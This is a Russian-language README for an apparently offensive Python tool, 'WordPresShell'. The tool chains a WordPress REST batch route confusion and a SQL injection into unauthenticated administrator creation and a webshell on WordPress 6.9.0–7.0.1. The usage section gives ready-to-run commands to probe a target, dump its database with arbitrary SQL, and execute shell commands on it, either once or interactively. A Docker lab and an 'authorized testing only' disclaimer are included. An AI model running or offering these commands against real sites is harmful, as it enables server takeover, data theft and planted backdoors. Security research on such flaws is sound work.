WordPresShell

Доаутентификационный PoC RCE для CVE-2026-63030 + CVE-2026-60137 (ядро WordPress). Путаница маршрутов REST /batch/v1 → SQLi WP_Query author__not_in → создание неаутентифицированного администратора → вебшелл. Один файл, только стандартная библиотека Python.

Уязвимость: Adam Kues (Searchlight Cyber). Затрагивает: 6.9.0–6.9.4, 7.0.0–7.0.1. Исправлено: 6.9.5 / 7.0.2.

Использование

python3 WordPresShell.py check http://target                      # подтверждение (неразрушающее)
python3 WordPresShell.py dump  http://target [--query "SELECT @@version"]
python3 WordPresShell.py shell http://target --cmd "id"           # RCE без взлома
python3 WordPresShell.py shell http://target -i                   # интерактивный
python3 WordPresShell.py shell http://target --user U --password P --cmd id

Лаборатория

docker compose up -d          # WordPress 7.0.1 на :8092
docker compose down -v        # удаление

shell создаёт администратора и загружает вебшелл — удалите оба после тестирования. Только авторизованное тестирование.